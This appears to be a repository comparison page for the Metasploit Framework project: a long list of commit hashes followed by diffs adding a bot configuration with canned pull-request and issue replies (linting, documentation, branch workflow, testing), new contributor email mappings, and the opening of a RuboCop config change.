| cc5df836a9 | |||
| cda9fd2a08 | |||
| 29608d13bf | |||
| f60f60db7f | |||
| 755a776a88 | |||
| 5ee7fcaf4a | |||
| 2c0ea83286 | |||
| a4ded39d62 | |||
| c9d9d3af29 | |||
| ea64a6225a | |||
| 0693f17170 | |||
| fc49df003d | |||
| 99ed3afab3 | |||
| ffd5a0b39d | |||
| 280d1767b4 | |||
| 3b1ead48fa | |||
| 22fe846b39 | |||
| 4cd52c5f32 | |||
| f3c6eeceac | |||
| 59aa854c5d | |||
| 8820944696 | |||
| e36db605a6 | |||
| 0292e5c282 | |||
| f2fead66f9 | |||
| 061d76ebed | |||
| b44415a1f6 | |||
| 1b949807c6 | |||
| 31754f71e4 | |||
| af9d2a28de | |||
| 908bdaa5f9 | |||
| 40d068ca8c | |||
| ff8bb2e16f | |||
| ae28463ec6 | |||
| 7d6906b225 | |||
| d5bdfe7253 | |||
| f7a772902b | |||
| d26e281787 | |||
| 89bea26763 | |||
| 353f4281bd | |||
| 664e235e0b | |||
| 071b9598a4 | |||
| 6bac1ec2aa | |||
| 094fe9c134 | |||
| fdf0447ecf | |||
| 5c94910998 | |||
| ee64f38d8c | |||
| 04d54bc786 | |||
| 87ee307183 | |||
| 8190ce7644 | |||
| 6f8d7726ea | |||
| cfd9b12a13 | |||
| fc1f4936ac | |||
| d231c17af8 | |||
| ec828d3be2 | |||
| e5fc41a22f | |||
| a4c97a0a09 | |||
| 320de0ffbf | |||
| 00df264bc9 | |||
| 6f33c9ad99 | |||
| 70927f1db1 | |||
| cff41a6e1c | |||
| b8e19959e0 | |||
| ff9dad2b28 | |||
| 43fd35964c | |||
| f59ec03c42 | |||
| ef8ec13c88 | |||
| 15a4fc7499 | |||
| aac4774551 | |||
| 0da64cd699 | |||
| 5a58fbb0e5 | |||
| d102f3e48f | |||
| adaa9e239a | |||
| 3ab407d947 | |||
| bb7ed355f0 | |||
| 6a07160bd5 | |||
| 011ed3602c | |||
| 7aa89c9d4e | |||
| 8a5db82224 | |||
| 957b2f2163 | |||
| 0b133d28a2 | |||
| c23a4b195e | |||
| b6bd7031f8 | |||
| 7f36cfec84 | |||
| 578bf9999f | |||
| fda8b6df3c | |||
| 83e06ab59e | |||
| 0a1313f183 | |||
| 8a59b8cb1c | |||
| eb60fa1de1 | |||
| 3d388fff0c | |||
| b5be9402b1 | |||
| 2db93c9051 | |||
| 5b0eab476a | |||
| f9077bcd8d | |||
| 5e4b83581a | |||
| 00638f2e41 | |||
| fe0e955dc2 | |||
| f451041d4b | |||
| 9ef6110b54 | |||
| ae6b3d0bf6 | |||
| c9e4ca34c3 | |||
| 57ddd4b37c | |||
| 564895e1a8 | |||
| e4456c9006 | |||
| f483b80849 | |||
| 695f6869df | |||
| f90d605c21 | |||
| 1fe1506b42 | |||
| f6e4b52446 | |||
| c1b2762b03 | |||
| c309e2325f | |||
| de6306fa35 | |||
| f780d94ec6 | |||
| 9c69059a24 | |||
| 962e39148f | |||
| 8425000ff3 | |||
| 73d2b2cf2c | |||
| df277e1406 | |||
| f484e6c83c | |||
| c2f13d906b | |||
| a861ad3f21 | |||
| 739928b56a | |||
| 29f5a1c425 | |||
| de56cde848 | |||
| ee80e9eb34 | |||
| 1aa412ccc0 | |||
| f44f200f49 | |||
| 7a9ecd76c5 | |||
| c5917048fb | |||
| e25cf99ce3 | |||
| 9b52ece7b7 | |||
| 9010446a48 | |||
| db8555e007 | |||
| d670276148 | |||
| ac482a0d31 | |||
| 9980a96917 | |||
| 0d0bd865c8 | |||
| a8af2a227e | |||
| e1cd219d63 | |||
| 4288632203 | |||
| 7dc1315dac | |||
| a016ca4b4f | |||
| ede90ef9a1 | |||
| 89dc1aebf8 | |||
| 0264802756 | |||
| a34ffb3694 | |||
| 6ad9956af8 | |||
| 4fa3b25788 | |||
| 48ebd500b6 | |||
| 028285de77 | |||
| ef108ea71d | |||
| aa1fdb2075 | |||
| 516deaaf49 | |||
| 0d8a86905a | |||
| 5497876fd2 | |||
| 0bf6d3e645 | |||
| 9c987b8271 | |||
| e5befa676f | |||
| 57ef3d9ec6 | |||
| 28e9bc5d14 | |||
| fadb51eae3 | |||
| 7f046a7d89 | |||
| 4de546fa6a | |||
| 62eb756fe2 | |||
| 4c11711a44 | |||
| 6718a7dd78 | |||
| 9aac803f41 | |||
| b76e76b00e | |||
| 6b940a02ca | |||
| 8489bcdfd9 | |||
| c2326f07c9 | |||
| 235861d4ed | |||
| 13784bb35d | |||
| 0459e05420 | |||
| cfd41c49ec | |||
| 1b54d27301 | |||
| 828d974db5 | |||
| 62e5757baa | |||
| 0e9c637364 | |||
| e9f8532a68 | |||
| 226f4b0a53 | |||
| 48ba1026c6 | |||
| f630990b3b | |||
| 36f45d5bf3 | |||
| 808a158c84 | |||
| ac6d0e4391 | |||
| 8167fee11e | |||
| 1db1bed08f | |||
| c80ab651cb | |||
| 0bffcd6212 | |||
| d047feeb03 | |||
| b632a3cc6e | |||
| f5844ee953 | |||
| 3a89bef6c4 | |||
| 9193ace50b | |||
| 351c0d1651 | |||
| e315e207f1 | |||
| d95391b7f4 | |||
| 55d5e55c5e | |||
| 4b92403bba | |||
| 5420007dff | |||
| f6343f35aa | |||
| bb4007747b | |||
| 35dac6ea5f | |||
| 59ed3e5948 | |||
| 2efc381115 | |||
| 6fa086a0ab | |||
| bbbb9565a4 | |||
| d644f2d9c7 | |||
| 0aca3f0712 | |||
| 137fee2570 | |||
| d6c3e4ad56 | |||
| 94287c94ff | |||
| 27effc1b56 | |||
| f61c188e57 | |||
| 7e9bd506d6 | |||
| 1556a603f0 | |||
| 70d365f6c9 | |||
| 07954c0ce2 | |||
| 0e55e20c9c | |||
| da820f08e6 | |||
| 64c4fec0d0 | |||
| 2ca2b5c7bb | |||
| fce70c9284 | |||
| 556ad5f3b7 | |||
| cbcf8a2a68 | |||
| d829f2ab43 | |||
| 6d73b572c7 | |||
| 9e46926a0f | |||
| 785dbb6ba3 | |||
| 8fd3b483d3 | |||
| 946e244c8c | |||
| a7a80e08a8 | |||
| 3395b91c83 | |||
| d7f92a932e | |||
| 65521270ea | |||
| 9c30250161 | |||
| 25d863d912 | |||
| 91add39ceb | |||
| 65951dd97b | |||
| 632cb39c98 | |||
| deb7f4ce14 | |||
| b997e5679f | |||
| c0e34581f2 | |||
| 3707d4caa6 | |||
| a0b6584d19 | |||
| e2f2d55ecc | |||
| 90503b2c61 | |||
| cb372a54f4 | |||
| a05611d756 | |||
| 92d2c8f974 | |||
| eab1245eef | |||
| a9ae212b27 | |||
| 2ad8a02fd7 | |||
| 44030bd784 | |||
| 6557cabd65 | |||
| 5a62630309 | |||
| cbf0d14666 | |||
| 54550dba74 | |||
| 7472a18493 | |||
| b01f02480f | |||
| 10b49979d4 | |||
| 4dcb2fbd96 | |||
| 7a0bf69eb0 | |||
| 763dbf5d5d | |||
| 6c59d7c37c | |||
| 3b258eeb19 | |||
| a5a5ea7ded | |||
| 6b48337f3d | |||
| 793d5c3342 | |||
| 0d36c99151 | |||
| 8c07e17912 | |||
| 3282ec5c55 | |||
| 374396e7fe | |||
| 7f3c0c9314 | |||
| 68565f575f | |||
| 9a8d9c6c88 | |||
| e736588795 | |||
| ab32336544 | |||
| 62c98710ad | |||
| 208e59999a | |||
| abd2c3e1fc | |||
| 995c56098d | |||
| a704f757b7 | |||
| 95941d539e | |||
| e053ed7a1e | |||
| 95fa8602bc | |||
| abf56ae748 | |||
| edb3aa30f8 | |||
| b98c0c6876 | |||
| 81f9fc7608 | |||
| 2bb91a2262 | |||
| dae06ab0c9 | |||
| d30b6b136a | |||
| a154efa250 | |||
| 691a18c997 | |||
| aad0ab3716 | |||
| 9db6b5184b | |||
| ddec8a58a1 | |||
| abdcb67189 | |||
| 31a6e0e396 | |||
| de25920f30 | |||
| 25c23073c8 | |||
| c7b07db88b | |||
| 5f7004cf7c | |||
| d428e00b35 | |||
| 533c2a0a9d | |||
| 593e391e2f | |||
| 81c8a810ba | |||
| dc0c0a2029 | |||
| 22a75c7bee | |||
| d76546f8ee | |||
| 671f2e9616 | |||
| 2360b0e2ff | |||
| 37065f5ffe | |||
| 4fd865f3a9 | |||
| 20386f1aa4 | |||
| c75eab5854 | |||
| 4474b6f6dc | |||
| 13e670ceb3 | |||
| cca3184b36 | |||
| 772431a29e | |||
| 303bddbb37 | |||
| 5f6c9a265f | |||
| a34ef6fc92 | |||
| a8dc535b2a | |||
| a89d9cd188 | |||
| f3e6f562a1 | |||
| 375b13733c | |||
| 7175126319 | |||
| fa6573f8e7 | |||
| a3717e13f6 | |||
| e12d993027 | |||
| 4ba0762089 | |||
| f49ee7c60e | |||
| d64eb10b17 | |||
| 548529e1d4 | |||
| 9e690414a1 | |||
| 6241555531 | |||
| 3074e5bece | |||
| 2ce49456a7 | |||
| 992a386ece | |||
| 4d21b0e88e | |||
| 51ab58f7c9 | |||
| 7ba7221a8f | |||
| db1a201885 | |||
| 2ce3cb9e86 | |||
| 1ef34283eb | |||
| 6b229177f1 | |||
| fc1451303a | |||
| 97f5f37344 | |||
| c8e5fcf389 | |||
| 1072694130 | |||
| 355b9c135f | |||
| 47b3e9cd94 | |||
| 6f453a0f83 | |||
| 4f94593264 | |||
| 3dd68849c5 | |||
| ca70cc2d27 | |||
| 483c36e54d | |||
| e2d0d8f011 | |||
| 34621c0adc | |||
| 8d4637a42b | |||
| 3ffc79aa85 | |||
| 312a3466ee | |||
| 6504c01668 | |||
| 7ee4d28751 | |||
| b9b6b64f0c | |||
| 2a6409a1bc | |||
| 2907f4ae16 | |||
| b05fe7453f | |||
| dca17a8922 | |||
| 394e99fbe9 | |||
| 3f4585e401 | |||
| bf68730c76 | |||
| bf31fb7ca8 | |||
| a1f3834e08 | |||
| 9da4555509 | |||
| 81b8d5b58a | |||
| bd48588fd5 | |||
| 63612e9647 | |||
| 8e0e21d337 | |||
| 0fc1a9ee5f | |||
| 28a2e5126a | |||
| 267972a519 | |||
| d4bd195a3d | |||
| 9314e8b65b | |||
| 0b0d4c8633 | |||
| 1b4ce34243 | |||
| 66b856d562 | |||
| 9c42ba3042 | |||
| 47baf3e643 | |||
| 08102f2004 | |||
| 560475ebff | |||
| 551ddc0ce3 | |||
| 3491da7da0 | |||
| 2414fda288 | |||
| d609b0a265 | |||
| 0d8d17c63d | |||
| 94bb5b6207 | |||
| cfffb65a21 | |||
| fcf366e7ce | |||
| 8de8860504 | |||
| a60b44c0ed | |||
| dab4291016 | |||
| b4a1849ac1 | |||
| 0c13102432 | |||
| a099481f66 | |||
| 2fc1eb10a8 | |||
| 10a5e9292e | |||
| 88b72e6f2e | |||
| f4e34d0a42 | |||
| 0f453a11e9 | |||
| 322b3f8a8b | |||
| 355ddba6c9 | |||
| 3518b9465c | |||
| 208aa3454f | |||
| 75371ec1e1 | |||
| 4770557df4 | |||
| 66328675f7 | |||
| eb59bb7e99 | |||
| 6f6cc00871 | |||
| 5bccf66dcc | |||
| 11ed7c9a4b | |||
| 1088448aac | |||
| 06843d0ea5 | |||
| 7b7f56ec04 | |||
| ccc7b7747f | |||
| 231c858383 | |||
| 2e33a72d2a | |||
| e7e42b7a59 | |||
| 24af710a4e | |||
| aefa9f3984 | |||
| a02f4caabd | |||
| 7a2fba86f1 | |||
| e982f0b890 | |||
| 69fbd195ae | |||
| bc312420ca | |||
| ca59b06fd3 | |||
| c1b66aac77 | |||
| 32dafcc9f6 | |||
| 4e75f1862a | |||
| 7cb3ca96e1 | |||
| 34d77e8b11 | |||
| daaa8cf857 | |||
| 60b5a1791f | |||
| 5d7c50e3ed | |||
| 4af14109f5 | |||
| 67ae211845 | |||
| d91a166034 | |||
| 19b1f567b2 | |||
| 195d699df0 | |||
| fc1b337c58 | |||
| 7d486b3374 | |||
| 19fa008b43 | |||
| 972cb545f0 | |||
| 9a376c8d97 | |||
| 36b6ceb56f | |||
| 256855b152 | |||
| 909b298bd9 | |||
| 27ea63ad25 | |||
| cbd949927d | |||
| f5c36ffd92 | |||
| 09801b2507 | |||
| 52c7bf6375 | |||
| 7fbdf0ca57 | |||
| bd8840fb09 | |||
| c0800f4742 | |||
| ef4b72cc5a | |||
| 574bfbed84 | |||
| 9e66afe3e7 | |||
| 299fca4e98 | |||
| 65e2637e29 | |||
| 18b0c3b246 | |||
| f826d7747d | |||
| 7f74d28245 | |||
| 1ff12d05ef | |||
| d5138c8af1 | |||
| b0d0bac8bd | |||
| 60b787bde1 | |||
| a31e4034c8 | |||
| 549de0934a | |||
| 7646e43ccf | |||
| bb583672bf | |||
| 4ddb1204cc | |||
| 6712458dbd | |||
| 45d8e0f4d3 | |||
| 441d6c3532 | |||
| 47a3d7fa42 | |||
| 6bb414ed53 | |||
| c53e7703fc | |||
| 2a3f7d8b13 | |||
| 4ee92a1554 | |||
| ab5f5ea74a | |||
| ccd9c8f082 | |||
| ee5e9dc922 | |||
| 895099f82e | |||
| f3c75e93f3 | |||
| a9bf72ac8c | |||
| 50881c899a | |||
| dc01f2e99b | |||
| f970ea7963 | |||
| e4013846d3 | |||
| 947102e2fe | |||
| b2e0950bba | |||
| a1978c76a6 | |||
| 4b0ab94043 | |||
| 2fff1f66e9 | |||
| 3a4209a092 | |||
| c904b9d2f2 | |||
| cebde261ad | |||
| c4d6feb0aa | |||
| 9e1bc8afae | |||
| d32c81b322 | |||
| 5c123e5c1d | |||
| 033a0d1868 | |||
| fa73709b3e | |||
| 7b14442ab0 | |||
| 2081215aae | |||
| 2a31319256 | |||
| 1c1003ac59 | |||
| 0760319ddf | |||
| 4327e94b9f | |||
| 491c36ccaa | |||
| eaeaae7607 | |||
| 1cd75d9f40 | |||
| 5251614c3a | |||
| 429329c45d | |||
| 009ec162de | |||
| ea6263e6bb | |||
| ecb825ea71 | |||
| fa661e58ca | |||
| 0308f76bbd | |||
| 58a3f88907 | |||
| d6041f1af5 | |||
| 1832f3fd8a | |||
| a1d9985143 | |||
| 5c4189fdb4 | |||
| b6a6ea5d28 | |||
| 1636008db6 | |||
| 002fe64057 | |||
| 16d06b3baa | |||
| bb58cf55fb | |||
| 8e553c1478 | |||
| 72d06b0e9c | |||
| 3a8b630262 | |||
| 92de0b132f | |||
| cd65efb259 | |||
| c71a75950a | |||
| 93c69b3a96 | |||
| d996ba5b2c | |||
| a635676604 | |||
| 4cbbe23b11 | |||
| 249702ea51 | |||
| b4550933bb | |||
| af4505f007 | |||
| 0359a79792 | |||
| fe23d4b72b | |||
| 04084f84f7 | |||
| a45821b706 | |||
| b4a08503f8 | |||
| 6c4970f901 | |||
| c9041dae28 | |||
| 55a3f2aac1 | |||
| 6498a7c231 | |||
| 99235c729f | |||
| 4ac7f81542 | |||
| 3354e69c47 | |||
| 332afe89af | |||
| 94b6b6d082 | |||
| d7deb4e80a | |||
| f1cc40bd77 | |||
| c30cd8e0cc | |||
| eaddce910f | |||
| 1429a496da | |||
| 0387d09e67 | |||
| eab0bd5755 | |||
| 5d3ad626e6 | |||
| 8593f68c14 | |||
| b235f26b60 | |||
| 20cf419e18 | |||
| 1570118a14 | |||
| a64b0fa9e7 | |||
| c323df180a | |||
| aed9b45229 | |||
| 50637d0d91 | |||
| 33dadefd53 | |||
| 476eabbffe | |||
| 55d782c640 | |||
| b3bf82be07 | |||
| 25e0355951 | |||
| 03d6d1aed5 | |||
| 0876b8e7d7 | |||
| d507612817 | |||
| 2ea5bd139a | |||
| 7f82816065 | |||
| 7eeb8c33eb | |||
| 8b18f86169 | |||
| 43daaa9ce5 | |||
| c169598819 | |||
| fd28cdbb89 | |||
| 2568f86d57 | |||
| abb95ef465 | |||
| 1f191bc73e | |||
| 8e4ddf1b2b | |||
| dabd0df81a | |||
| caa02c7d2e | |||
| 542f582fed | |||
| 6cb1feb2a6 | |||
| 13a7bf17e2 | |||
| b76f2a9e08 | |||
| 756879d3d6 | |||
| c2a12949a0 | |||
| f1ae217bb0 | |||
| 326fd26219 | |||
| cf822bf1c4 | |||
| e3a5f6bcb6 | |||
| ce09435d82 | |||
| 8034db2c5f | |||
| 13b72282a6 | |||
| 4b9685005e | |||
| da06ecc83b | |||
| 4d273a94b6 | |||
| 0edaf1fc54 | |||
| 30e86f3779 | |||
| 424d869b2f | |||
| f822a13926 | |||
| 22a1c09715 | |||
| c8fb76182c | |||
| b3e9d9aee9 | |||
| dd240e335c | |||
| 4aaca5031b | |||
| 1b72d80dd2 | |||
| add7e844b0 | |||
| 30ddabba92 | |||
| e23c67d129 | |||
| 1263292cde | |||
| 0d592a3fca | |||
| b6731a6d1c | |||
| bedb1132b7 | |||
| 5f2c29946c | |||
| 2eec026a28 | |||
| 44489f0326 | |||
| 4fb2e92a8f | |||
| daae0886fa | |||
| cd566846dd | |||
| e8cd136e56 | |||
| 65e7354ee6 | |||
| ce01137525 | |||
| d2e2dcf85e | |||
| f4a0ef2ee9 | |||
| 8061cdf974 | |||
| 4de482f57a | |||
| d87f752591 | |||
| b177a8235d | |||
| 3dac95ed32 | |||
| 03971e9607 | |||
| a7b63557db | |||
| f15bbc1340 | |||
| 29b306fedf | |||
| 92accda770 | |||
| 046d8cbedc | |||
| 242cee3060 | |||
| f637254ab2 | |||
| d449a93b44 | |||
| f04cf4f544 | |||
| 13cadbf3f1 | |||
| 75dc82f764 | |||
| e89a596e5c | |||
| 01b6bc112d | |||
| 81f8f4f67f | |||
| 337d18d35c | |||
| ce991071e4 | |||
| 341807729c | |||
| 4f8382fc98 | |||
| 4e1e8d344f | |||
| 4c0fc3a505 | |||
| 0c4de2d891 | |||
| 7a027216cc | |||
| 01af23df26 | |||
| 155a2eb74a | |||
| 6b746e332f | |||
| 20e6568f00 | |||
| a8f8502d19 | |||
| e0374955a3 | |||
| a45e4b6d37 | |||
| d50058cbc6 | |||
| e8bbf2f117 | |||
| 0a846aaeb6 | |||
| 3cc6b8f8fd | |||
| d64f53e462 | |||
| ce69efcfa2 | |||
| 3a1a576747 | |||
| 25ce890d36 | |||
| 1d351daf00 | |||
| 894927d960 | |||
| fce750147c | |||
| af462ffb0d | |||
| b36c191fc7 | |||
| f9fbe96145 | |||
| c0da9e2202 | |||
| 4a5b8c6230 | |||
| d61872f8ba | |||
| b81d78c7a5 | |||
| 671f80896a | |||
| 988971bd94 | |||
| d8c93b9e18 | |||
| 473dcd5359 | |||
| 4cc12f1890 | |||
| e727c15ef5 | |||
| 843f481923 | |||
| 0aaa4265be | |||
| e5ce6dc8de | |||
| aaddc9d8a5 | |||
| 7386f66de5 | |||
| 31ed5d553f | |||
| f22c6f2f63 | |||
| 58bf71d555 | |||
| 2820a14dcb | |||
| c43106216f | |||
| 11b8ef006c | |||
| 1f0d491a4f | |||
| 442f36e466 | |||
| 7ce2c63935 | |||
| f9d2f9fa2e | |||
| 664b196388 | |||
| cbd225dfed | |||
| 5c7c071094 | |||
| 64c1f557c6 | |||
| 30dcc3d78f | |||
| 4595dcd815 | |||
| ca2fa68452 | |||
| fde942bc37 | |||
| b786a44c2e | |||
| 8f31360a8c | |||
| 14b6282e51 | |||
| f23ec6bc88 | |||
| 7c071d2254 | |||
| b29523fc2a | |||
| 66dcbc5d99 | |||
| 06bcef3670 | |||
| fe3a6a30b5 | |||
| c6bae91b9d | |||
| 9cc02cb51f | |||
| e1e668d7da | |||
| 9f99ab50bd | |||
| e18016b5f0 | |||
| f1db8caa79 | |||
| 90bb65b756 | |||
| 70fc02863b | |||
| eb712c6cda | |||
| 42a60034f2 | |||
| ba25cb3b31 | |||
| 4b221a497e | |||
| 2a4e04f3cd | |||
| 1ff925eac9 | |||
| 93c8855fe3 | |||
| eb8814d5fe | |||
| 3da716b21a | |||
| dd41892123 | |||
| c43330934b | |||
| 3257b8b4cc | |||
| b007eea2b8 | |||
| 244a8ec136 | |||
| dc02f5752d | |||
| a3a25b193e | |||
| e0a3af39aa | |||
| c8d4dfee7e | |||
| 3be3a398ae | |||
| 548abf4364 | |||
| 44636f4975 | |||
| 8b09cd6cb7 | |||
| 5fc561e916 | |||
| 6538a4188d | |||
| 10770b40a3 | |||
| 69fe5494c3 | |||
| 1cd8e56561 | |||
| b1f68d18e2 | |||
| 7730c5359d | |||
| 59d9834432 | |||
| f8b8dc1c80 | |||
| 0e076d286e | |||
| 4dda0a8e40 | |||
| c103e87f03 | |||
| f26d322533 | |||
| a945095ddf | |||
| 7679083e4f | |||
| 6be4729a02 | |||
| fb5c896d40 | |||
| fa86c67f2b | |||
| 87373ccc84 | |||
| 9d89fc2eba | |||
| 15294550ed | |||
| f83d08ed51 | |||
| 7e05642a1b | |||
| 0257861c4f | |||
| efdc838d16 | |||
| e3edff8494 | |||
| c4e304574c | |||
| 142096d34b | |||
| 910be567be | |||
| 038ecb38ad | |||
| 0a31e3b909 | |||
| 237c1c68a1 | |||
| a8d8c71c29 | |||
| f94726a794 | |||
| 02a87befc3 | |||
| 2e854f2d9a | |||
| 4fe0064756 | |||
| b6ac86dc23 | |||
| b99d632b7d | |||
| affbd70585 | |||
| debded62e3 | |||
| 1ebfe6c284 | |||
| 9a0c1331ec | |||
| 6533cb877f | |||
| d314226745 | |||
| 942d1e3962 | |||
| 5d09138a55 | |||
| f0ac300338 | |||
| bf99dd820a | |||
| 5e3974992c | |||
| 8a9dd35793 | |||
| 3e049a279e | |||
| 74d87fcc76 | |||
| d4ef06dfcc | |||
| ce7a33abf5 | |||
| ea670d02fe | |||
| a6db0202f4 | |||
| e11f64f8c8 | |||
| 3ddef6091c | |||
| 35282b3e35 | |||
| cc25a30d1a | |||
| 0864a4840e | |||
| 713099c997 | |||
| 2a14332f20 | |||
| 5f149bc51c | |||
| d8747c3a02 | |||
| 9655c33a66 | |||
| c7125b1b5f | |||
| 263c7bf235 | |||
| 347c63377d | |||
| 0b99b78c91 | |||
| 9adc87c786 | |||
| 1c87c21d8e | |||
| 91c6c74173 | |||
| f56b262eec | |||
| 1952697404 | |||
| f3922d73d8 | |||
| 4c95150491 | |||
| 6f153a885a | |||
| da506c9684 | |||
| bad8e24e48 | |||
| 857677f39d | |||
| 6a7c2835ec | |||
| 127e1d451f | |||
| 39ab534773 | |||
| cd22c1bea4 | |||
| 97b6b858e8 | |||
| 566807b20a | |||
| 407adca9ec | |||
| e6e1156185 | |||
| a4657da33a | |||
| 46d759eca9 | |||
| 4ef54518ed | |||
| 04dd5162cf | |||
| 6766d9f6f7 | |||
| e804745766 | |||
| 12fb919fee | |||
| 2549de809d | |||
| a337567101 | |||
| f898c73e49 | |||
| 9dfd325f42 | |||
| 311b03af93 | |||
| c9948c037d | |||
| 10b5df1c4f | |||
| 8563a29003 | |||
| 77840a8830 | |||
| e992480b5c | |||
| a5a3e28984 | |||
| b85b799d4f | |||
| 0a9ca5554a | |||
| 43609965e5 | |||
| 74ae445128 | |||
| 8576a7876a | |||
| d65775e5bf | |||
| b941a1a823 | |||
| bc4f706b0d | |||
| dd9fb2d9d6 | |||
| 21dd5f438d | |||
| fc82d508d8 | |||
| e091c8f248 | |||
| 825d93786e | |||
| 8833bddd91 | |||
| dee7e9d690 | |||
| 5f8aaef683 | |||
| e83ae828b5 | |||
| ea0fd7edef | |||
| 5e45c3e469 | |||
| 02d0e36d2a | |||
| 887c0a9dfc | |||
| 790f388fb3 | |||
| 1064aa3f55 | |||
| b9c2ec60f5 | |||
| f874f50748 | |||
| d00d5fbff9 | |||
| 3870dad3d1 | |||
| 510b2f5aac | |||
| d1eaac9932 | |||
| c339662fed | |||
| dd5814654c | |||
| f0b24339fe | |||
| 8549f416f8 | |||
| 1c54430dff | |||
| d3e89869ba |
@@ -0,0 +1,113 @@
|
||||
# Configuration for Github App - https://github.com/dessant/label-actions
|
||||
#
|
||||
# Note: Be aware of the edge cases of YAML when writing multiline strings:
|
||||
# - https://yaml-multiline.info/
|
||||
# - https://github.com/dessant/label-actions/issues/1
|
||||
pulls:
|
||||
actions:
|
||||
attic:
|
||||
close: true
|
||||
comment: |
|
||||
Thanks for your contribution to Metasploit Framework! We've looked at this pull request, and we agree that it seems like a good addition to Metasploit, but it looks like it is not quite ready to land. We've labeled it `attic` and closed it for now.
|
||||
|
||||
What does this generally mean? It could be one or more of several things:
|
||||
|
||||
- It doesn't look like there has been any activity on this pull request in a while
|
||||
- We may not have the proper access or equipment to test this pull request, or the contributor doesn't have time to work on it right now.
|
||||
- Sometimes the implementation isn't quite right and a different approach is necessary.
|
||||
|
||||
We would love to land this pull request when it's ready. If you have a chance to address all comments, we would be happy to reopen and discuss how to merge this!
|
||||
|
||||
needs-docs:
|
||||
comment: |
|
||||
Thanks for your pull request! Before this can be merged, we need the following documentation for your module:
|
||||
|
||||
- [Writing Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation)
|
||||
- [Template](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)
|
||||
- [Examples](https://github.com/rapid7/metasploit-framework/tree/master/documentation/modules)
|
||||
|
||||
needs-linting:
|
||||
comment: |
|
||||
Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.
|
||||
|
||||
We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:
|
||||
|
||||
```
|
||||
rubocop <directory or file>
|
||||
tools/dev/msftidy.rb <directory or file>
|
||||
```
|
||||
|
||||
You can automate most of these changes with the `-a` flag:
|
||||
|
||||
```
|
||||
rubocop -a <directory or file>
|
||||
```
|
||||
|
||||
Please update your branch after these have been made, and reach out if you have any problems.
|
||||
|
||||
needs-unique-branch:
|
||||
close: true
|
||||
comment: |
|
||||
Thanks for your pull request! We require for all contributed code to come from a **from a unique branch** in your repository before it can be merged.
|
||||
|
||||
Please create a new branch in your fork of framework and resubmit this from that branch.
|
||||
|
||||
If you are using Git on the command line that may look like:
|
||||
|
||||
```
|
||||
# Checkout the master branch
|
||||
git checkout master
|
||||
|
||||
# Create a new branch for your feature
|
||||
git checkout -b <BRANCH_NAME>
|
||||
|
||||
# Add your new files
|
||||
git add modules/my-cool-new-module
|
||||
|
||||
# Commit your changes with a relevant message
|
||||
git commit
|
||||
|
||||
# Push your changes to GitHub
|
||||
git push origin <BRANCH_NAME>
|
||||
|
||||
# Now browse to the following URL and create your pull request!
|
||||
# - https://github.com/rapid7/metasploit-framework/pulls
|
||||
```
|
||||
|
||||
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
|
||||
|
||||
Please do resubmit from a unique branch, we greatly value your contribution! :tada:
|
||||
|
||||
needs-testing-environment:
|
||||
comment: |
|
||||
Thanks for your pull request! As part of our landing process, we manually verify that all modules work as expected.
|
||||
|
||||
We have been unable to test this module successfully. This may be due to software or hardware requirements we cannot replicate.
|
||||
|
||||
To help unblock this pull request, please:
|
||||
|
||||
- Comment with links to documentation on how to set up an environment, and provide exact software version numbers to use
|
||||
- Or comment guided steps on how to set up our environment for testing this module
|
||||
- Or send pcaps/screenshots/recordings of it working - you can email us msfdev[at]rapid7.com
|
||||
|
||||
Once there's a clear path for testing and evaluating this module, we can progress with this further.
|
||||
|
||||
issues:
|
||||
actions:
|
||||
termux:
|
||||
comment: |
|
||||
Termux is not officially supported. https://github.com/rapid7/metasploit-framework/issues/11023
|
||||
|
||||
However, Metasploit reportedly does work with Termux.
|
||||
|
||||
Refer to the following for more information:
|
||||
|
||||
* https://wiki.termux.com/wiki/Metasploit_Framework
|
||||
* termux/termux-packages/issues/715
|
||||
|
||||
potato:
|
||||
close: true
|
||||
comment: |
|
||||
When creating an issue, please ensure that the default issue template has been updated with the required details.
|
||||
|
||||
Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
|
||||
@@ -2,6 +2,7 @@ acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
|
||||
adamgalway-r7 <adamgalway-r7@github> <adam_galway@rapid7.com>
|
||||
adfoster-r7 <adfoster-r7@github> <alandavid_foster@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
|
||||
@@ -11,6 +12,7 @@ cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
|
||||
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
|
||||
gwillcox-r7 <gwillcox-r7@github> <Grant_Willcox@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
|
||||
@@ -25,6 +27,7 @@ pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
|
||||
smcintyre-r7 <smcintyre-r7@github> <spencer_mcintyre@rapid7.com>
|
||||
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
|
||||
|
||||
+81
-20
@@ -11,6 +11,16 @@
|
||||
AllCops:
|
||||
